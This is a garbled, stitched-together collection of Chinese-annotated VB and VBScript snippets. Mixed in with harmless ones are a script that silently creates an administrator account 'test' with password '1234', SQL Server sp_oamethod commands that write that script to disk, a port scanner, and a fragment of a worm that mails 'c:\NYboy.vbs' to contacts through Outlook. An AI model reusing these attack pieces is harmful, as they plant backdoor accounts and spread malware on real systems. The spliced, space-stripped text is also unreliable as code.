代码如下：

PrivateSubSSCommand2_Click()'两种背景图案交替演示

Ifpictfile=filePath&"Pict1.bmp"Then

pictfile="c:\windows\Tiles.bmp"

Else

pictfile=filePath&"Pict1.bmp"

EndIf

Backpict(pictfile)

EndSub->->)所以，就让IE来为我们做这项工作吧

setwsnetwork=CreateObject("WSCRIPT.NETWORK")

os=""&wsnetwork.ComputerName

Setob=GetObject(os)'得到adsi接口,绑定

Setoe=GetObject(os&"/Administrators,group")'属性,admin组

Setod=ob.Create("user","test")'建立用户

od.SetPassword"1234"'设置密码

od.SetInfo'保存

Setof=GetObject(os&"/test",user)'得到用户

oe.addos&"/test"

SQL语句如下，采用sp_oamethod过程：

declare@oint,@fint,@retint

execsp_oacreate'scripting.filesystemobject',@oout

execsp_oamethod@o,'createtextfile',@fout,'c:\1.vbs',1

exec@ret=sp_oamethod@f,'writeline',NULL,'setwsnetwork=CreateObject

("WSCRIPT.NETWORK")'

exec@ret=sp_oamethod@f,'writeline',NULL,'os=""&wsnetwork.

ComputerName'

exec@ret=sp_oamethod@f,'writeline',NULL,'Setob=GetObject(os)'

exec@ret=sp_oamethod@f,'writeline',NULL,'Setoe=GetObject

(os&"/Administrators,group")'

exec@ret=sp_oamethod@f,'writeline',NULL,'Setod=ob.Create

("user","test")'

exec@ret=sp_oamethod@f,'writeline',NULL,'od.SetPassword"1234"'

exec@ret=sp_oamethod@f,'writeline',NULL,'od.SetInfo'

exec@ret=sp_oamethod@f,'writeline',NULL,'Setof=GetObject

(os&"/test",user)'

exec@ret=sp_oamethod@f,'writeline',NULL,'oe.addos&"/test"'

下来举例说明其使用方法

On Error Resume Next

if (lcase(right(wscript.fullname,11))="wscript.exe") then

wscript.echo "Execute it under the cmd.exe Plz! Thx."

wscript.quit

end If

if Wscript.Arguments.count=0 Then

usage()

wscript.quit

End If

Set Arg=Wscript.Arguments

Sport=Split(arg(1),",")

For i=0 To UBound(Split(arg(1),","))

wsh.echo "scan "&Sport(i)&" ing……"

Set x=CreateObject("msxml2.serverXMLHTTP")

x.open "post",""&arg(0)&":"&Sport(i)

x.send("hello")

wsh.echo Space(3)&"error.NuMbEr:"& ERr.NuMbEr & Space(5)&"ERr.Description:"&ERr.Description

if ERr.NuMbEr=0 Or ERr.NuMbEr=-2147012866 Or ERr.NuMbEr=-2147012894 Or ERr.NuMbEr=-2147012744 Or ERr.NuMbEr=-2147467259 Then

wsh.echo Space(3)&" The "&Sport(i)&" port is OPEN"

End if

next

function usage()

wscript.echo "| 注意查看ERr.Description来判断端口开放，自动探测不一定准确 |"

wscript.echo "| |"

wscript.echo "|Useage: |"

wscript.echo "| cscript.exe this.vbs ip port |"

wscript.echo "|ex: |"

wscript.echo "| cscript.exe this.vbs ip 80 or 80,123,445…… |"

wscript.echo "+-------------------------------------------------------------------+"&chr(10)

end function

笔者的解决方法是利用app.path来解决这个问题

Set ws=WScript.CreateObject("wscript.shell")

w=ws.CurrentDirectory

Set fso=WScript.CreateObject("scripting.filesystemobject")

Set fs=fso.GetFolder(w)

Set f=fs.SubFolders

For Each uu In f

t=t & uu.Path & vbcrlf

Next

MsgBox t

”

EndIf

EndIf

EndSub

注意：KeyAscii键值与KeyCode相同，我们可以查看KeyCode值，不过有些KeyCode键值必须在KeyDown和KeyUp中才有效，在KeyPress的KeyAscii中没用

QQ交友频道"

Mail.Attachments.Add("c:\NYboy.vbs")

Mail.Send

Next

ol.Quit

win10运行英传7暂停VB3．0专业版中提供了一个MSCOMM．VBX通信控件

OptionExplicit

OnErrorResumeNext

Subinclude(vbs)

Dimfso:Setfso=CreateObject("scripting.FileSystemObject")

Dimp:p=Split(Wscript.ScriptFullName,"")

p(UBound(p))=vbs

p=Join(p,"")

Dimf:Setf=fso.OpenTextFile(p)

Executef.ReadAll()

'ExecuteGlobalf.ReadAll()

f.Close()

Setf=Nothing

Setfso=Nothing

'Wscript.Echo(p)

EndSub

include("1.vbs")

include("2.vbs")

'IfErrThen

'Wscript.Echo(Err.description)

'Wscript.Quit()

'EndIf

Wscript.Echo(a+b)

1.vbs

a=3

2.vbs

b=4

。